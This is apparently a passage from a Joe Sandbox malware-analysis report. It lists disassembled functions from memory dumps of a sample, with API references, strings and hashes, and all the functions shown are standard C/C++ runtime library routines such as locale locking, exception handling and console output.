Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: a1eea60845be2d9f2e2f9acab9fa46c4fffd1d84d2998e38cbf9eaca910fa807
Instruction ID: 05d84cf86e00518500f7eb3f3f9c2740fd52765fc4ba28f31e63e0376fecfaea
Opcode Fuzzy Hash: a1eea60845be2d9f2e2f9acab9fa46c4fffd1d84d2998e38cbf9eaca910fa807
Instruction Fuzzy Hash: FFB1F375500706CBEB389F25CC86BB7B3A9EB44308F54456DEB82C6582EB79F985CB10

Function 00765630 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 0072A318 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0072A437
___TypeMatch.LIBVCRUNTIME ref: 0072A545
CallUnexpected.LIBVCRUNTIME ref: 0072A6B2

Strings

csm, xrefs: 0072A355
csm, xrefs: 0072A46E
csm, xrefs: 0072A3C2
0t, xrefs: 0072A42E

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm$0t
API String ID: 1206542248-2457151757
Opcode ID: 020aee51fc1f997ad0c5967d8330bdab9f65da0187510dc4ece3f393558ddb36
Instruction ID: 16bf683d5e60b6c699e08847de3c120768ffd499fcc61408c31da40b0ee2aeb2
Opcode Fuzzy Hash: 020aee51fc1f997ad0c5967d8330bdab9f65da0187510dc4ece3f393558ddb36
Instruction Fuzzy Hash: 69B19B71C00229EFCF25DFA4E9859AEB7B5FF14310F18445AE8156B202D739EA61CF92

Function 0073F0A8 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a37c5971a8209edf6440f3311a15c950c8540c20e2fd8dc6f745962955ad9b7e
Instruction ID: 65c244d651c52b8e8d850e39f454a208aec185b3bb5b8ede322ef1ec819b5e05
Opcode Fuzzy Hash: a37c5971a8209edf6440f3311a15c950c8540c20e2fd8dc6f745962955ad9b7e
Instruction Fuzzy Hash: 28B1B4B4E04249EFEB11DF98D884BAEBBF1AF45380F148169E4059B293C77C9D42CB61

Function 007250F8 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 007250FF
std::_Lockit::_Lockit.LIBCPMT ref: 00725109
int.LIBCPMT ref: 00725120

Part of subcall function 007216B4: std::_Lockit::_Lockit.LIBCPMT ref: 007216C5
Part of subcall function 007216B4: std::_Lockit::~_Lockit.LIBCPMT ref: 007216DF

std::_Facet_Register.LIBCPMT ref: 0072515A
std::_Lockit::~_Lockit.LIBCPMT ref: 0072517A
Concurrency::cancel_current_task.LIBCPMT ref: 00725187

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 1857002adce9486e9ac4aec00b8ce1080052a0dded5e99c8efa1e58099dd24b8
Instruction ID: 9d5f0064d0d41a2a13bfdaf912de83658b8670d382101008b673ad92886d1a9d
Opcode Fuzzy Hash: 1857002adce9486e9ac4aec00b8ce1080052a0dded5e99c8efa1e58099dd24b8
Instruction Fuzzy Hash: 8E11BEB5900638EFCB15EB68E8097AE77B4BF94720F64450AF401A7291DF7C9E01CB95

Function 00729FAA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00729FA1,007286C8,0072784F), ref: 00729FB8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00729FC6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00729FDF
SetLastError.KERNEL32(00000000,00729FA1,007286C8,0072784F), ref: 0072A031

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ae28cfc7868266d45567b24b88d54657b60f2bbb71d2e035f285118ba2001565
Instruction ID: e13bbfa9f0b9662819a6fe18028019ce6b65ae756fd8a20a4352d5c68d087f0c
Opcode Fuzzy Hash: ae28cfc7868266d45567b24b88d54657b60f2bbb71d2e035f285118ba2001565
Instruction Fuzzy Hash: 6201DF3660A371EFA6B56AF47D8AB2A2B85EB12778720422BF110C10F1FF5E4C119249

Function 00730CA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,2A9612D9,?,?,00000000,00741D08,000000FF,?,00730C30,?,?,00730C04,00000000), ref: 00730CD5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00730CE7
FreeLibrary.KERNEL32(00000000,?,?,00000000,00741D08,000000FF,?,00730C30,?,?,00730C04,00000000), ref: 00730D09

Strings

CorExitProcess, xrefs: 00730CDF
mscoree.dll, xrefs: 00730CCE

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 07abf730f8072e6334b4ac1ea30b32ebb51eff7f7ffce67c0db7999a41f6b8e8
Instruction ID: 451ccfb42015f186016b0740188f31e3c2c45422fe1f42c0e1cd961addafadc4
Opcode Fuzzy Hash: 07abf730f8072e6334b4ac1ea30b32ebb51eff7f7ffce67c0db7999a41f6b8e8
Instruction Fuzzy Hash: 7301D676A50619EFDB118F90DC05BAEBBF8FB05B14F408126F811E26A1DB7CA800CA94

Function 0072417D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00724189
int.LIBCPMT ref: 0072419C

Part of subcall function 007216B4: std::_Lockit::_Lockit.LIBCPMT ref: 007216C5
Part of subcall function 007216B4: std::_Lockit::~_Lockit.LIBCPMT ref: 007216DF

std::_Facet_Register.LIBCPMT ref: 007241CF
std::_Lockit::~_Lockit.LIBCPMT ref: 007241E5
Concurrency::cancel_current_task.LIBCPMT ref: 007241F0

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 510b8bbf4312fd280d00246107916078bf9f655088abb8c053caef1fca612f9f
Instruction ID: 0d92d3162d945ff096cd68f18461b81082aae17e43a6a97aea491b01e6a4b483
Opcode Fuzzy Hash: 510b8bbf4312fd280d00246107916078bf9f655088abb8c053caef1fca612f9f
Instruction Fuzzy Hash: 5C018476500138FBCB14EB54F8598AD7769EFA0760B214159F9056B291DA389F4187C4

Function 00723AF8 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00723B04
int.LIBCPMT ref: 00723B17

Part of subcall function 007216B4: std::_Lockit::_Lockit.LIBCPMT ref: 007216C5
Part of subcall function 007216B4: std::_Lockit::~_Lockit.LIBCPMT ref: 007216DF

std::_Facet_Register.LIBCPMT ref: 00723B4A
std::_Lockit::~_Lockit.LIBCPMT ref: 00723B60
Concurrency::cancel_current_task.LIBCPMT ref: 00723B6B

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 468b8c8aed55870162363856323227abaf597b5093e63f7895e2db467fa3e88e
Instruction ID: 40628b3f4096fcf4c25eb8380514e3c1b52e5ae779f15bf611ae5e5014d50117
Opcode Fuzzy Hash: 468b8c8aed55870162363856323227abaf597b5093e63f7895e2db467fa3e88e
Instruction Fuzzy Hash: 930184B2500138FBCB14EB54F8098AE77799F90760F10425AF90657291DB3CDF0287D4

Function 0072404F Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0072405C
int.LIBCPMT ref: 0072406F

Part of subcall function 007216B4: std::_Lockit::_Lockit.LIBCPMT ref: 007216C5
Part of subcall function 007216B4: std::_Lockit::~_Lockit.LIBCPMT ref: 007216DF

std::_Facet_Register.LIBCPMT ref: 007240A2
std::_Lockit::~_Lockit.LIBCPMT ref: 007240B8
Concurrency::cancel_current_task.LIBCPMT ref: 007240C3

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: b2a883141af14f34b9b682e1331220d0982fdd4f6252c7a53d9c0cf352913b56
Instruction ID: ff73d91734273b3b1c2820174f76ec407e8ef0b71b0ee0a67c0a29844c92e062
Opcode Fuzzy Hash: b2a883141af14f34b9b682e1331220d0982fdd4f6252c7a53d9c0cf352913b56
Instruction Fuzzy Hash: CF017172900134E7CB24FB64F8099AD77A9AB90720F244195F90567295DA3C9E4687C5

Function 00724DC1 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00724DC8
std::_Lockit::_Lockit.LIBCPMT ref: 00724DD3
std::locale::_Setgloballocale.LIBCPMT ref: 00724DEE
_Yarn.LIBCPMT ref: 00724E04
std::_Lockit::~_Lockit.LIBCPMT ref: 00724E41

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: 20d9342a6ba0ea65d8c90f9ac28d14b061badee0c9548048d9af14ad21fffea6
Instruction ID: 71a93cd9257c52b15370a2e141a29ad1dc1bd43df9b6cae4bcbc3341fbd497a0
Opcode Fuzzy Hash: 20d9342a6ba0ea65d8c90f9ac28d14b061badee0c9548048d9af14ad21fffea6
Instruction Fuzzy Hash: 36019A79A00124EBCB06EB20E80997D7BB1BF84750F59800AE80157382DB3C6E02CB9A

Function 00768622 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0076862E

Part of subcall function 00767E7F: __getptd_noexit.LIBCMT ref: 00767E82
Part of subcall function 00767E7F: __amsg_exit.LIBCMT ref: 00767E8F

__getptd.LIBCMT ref: 00768645
__amsg_exit.LIBCMT ref: 00768653
__lock.LIBCMT ref: 00768663
__updatetlocinfoEx_nolock.LIBCMT ref: 00768677

Memory Dump Source

Source File: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction ID: d7689e47d52b3af9c9f6e57897e43f1b84aaf269eb8854659d685881663207a0
Opcode Fuzzy Hash: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction Fuzzy Hash: 11F0F032A04710DAD760BB68D80AB0D33A0AF00764F544309FC03AA1D3CF2C1841CA9B

Function 0072B0F2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0072B0A3,00000000,?,0079A6EC,?,?,?,0072B246,00000004,InitializeCriticalSectionEx,00743BB8,InitializeCriticalSectionEx), ref: 0072B0FF
GetLastError.KERNEL32(?,0072B0A3,00000000,?,0079A6EC,?,?,?,0072B246,00000004,InitializeCriticalSectionEx,00743BB8,InitializeCriticalSectionEx,00000000,?,0072AFFD), ref: 0072B109
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0072B131

Strings

api-ms-, xrefs: 0072B116

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: d4823f0ea062958e78bd176617d0f7a8b27a766def26201b15de650eebce878f
Instruction ID: 853e2aa5e844dc5df47ca6a1bd4dde46d6687477608f97969930cd98563ceacc
Opcode Fuzzy Hash: d4823f0ea062958e78bd176617d0f7a8b27a766def26201b15de650eebce878f
Instruction Fuzzy Hash: 79E04874240208B7EF101F60EC06F193F95AB11B41F648021FA0DE40F2E779D935C598

Function 00737495 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(2A9612D9,00000000,00000000,00000000), ref: 007374F8

Part of subcall function 0073927A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00738D21,?,00000000,-00000008), ref: 00739326

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00737753
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0073779B
GetLastError.KERNEL32 ref: 0073783E

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 33e5b8ccc27845285b40aa7692a38eb766f6fdd389ce60f4933b89e06c7301ea
Instruction ID: aa87147932e925773e755d41bc3be929bbbdc9fc9b4bbd3230d45d7190a4d33f
Opcode Fuzzy Hash: 33e5b8ccc27845285b40aa7692a38eb766f6fdd389ce60f4933b89e06c7301ea
Instruction Fuzzy Hash: D9D16CB5E042589FDF29CFA8D8859EDBBB5FF09300F18412AE455E7352E734A942CB50

Function 0072A0C1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0072A188
___AdjustPointer.LIBCMT ref: 0072A1AB
___AdjustPointer.LIBCMT ref: 0072A247

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 81a1a58d061518d350fea55c6fdaab74cb93b49e9d558b41c79df7103aa0a26c
Instruction ID: 2c8cac5ac654f5d271c9d78bec73acca4b86d5a6daea9808d34f7af620b1864f
Opcode Fuzzy Hash: 81a1a58d061518d350fea55c6fdaab74cb93b49e9d558b41c79df7103aa0a26c
Instruction Fuzzy Hash: DD51E0B2A0536AFFDB289F14E845B6A73B4EF44320F144029E90187291E739EDA1C792

Function 0074043F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0073F465,00000000,00000001,00000000,00000000,?,00737892,00000000,00000000,00000000), ref: 00740456
GetLastError.KERNEL32(?,0073F465,00000000,00000001,00000000,00000000,?,00737892,00000000,00000000,00000000,00000000,00000000,?,00737E19,00000000), ref: 00740462

Part of subcall function 00740428: CloseHandle.KERNEL32(FFFFFFFE,00740472,?,0073F465,00000000,00000001,00000000,00000000,?,00737892,00000000,00000000,00000000,00000000,00000000), ref: 00740438

___initconout.LIBCMT ref: 00740472

Part of subcall function 007403EA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00740419,0073F452,00000000,?,00737892,00000000,00000000,00000000,00000000), ref: 007403FD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0073F465,00000000,00000001,00000000,00000000,?,00737892,00000000,00000000,00000000,00000000), ref: 00740487

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2dedd112d3fe41b61b26252715264be814fb24fefee1a16d48f78e81513c22fa
Instruction ID: d6cbd315d771908c7a07906d68b7a464b726ab4a6ff84dc03b8f3a2c59af9267
Opcode Fuzzy Hash: 2dedd112d3fe41b61b26252715264be814fb24fefee1a16d48f78e81513c22fa
Instruction Fuzzy Hash: 3BF01C3A501198FBCF626FD5DC089993F66FB4A3A1B008115FB1995131D73A8820ABE4

Function 0072387F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00723886
_strlen.LIBCMT ref: 007238A0

Strings

|#t, xrefs: 0072388E, 007238B0, 0072390D, 0072393B, 0072395D, 007239D3, 00723A2E, 00723A5B, 00723AC3

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
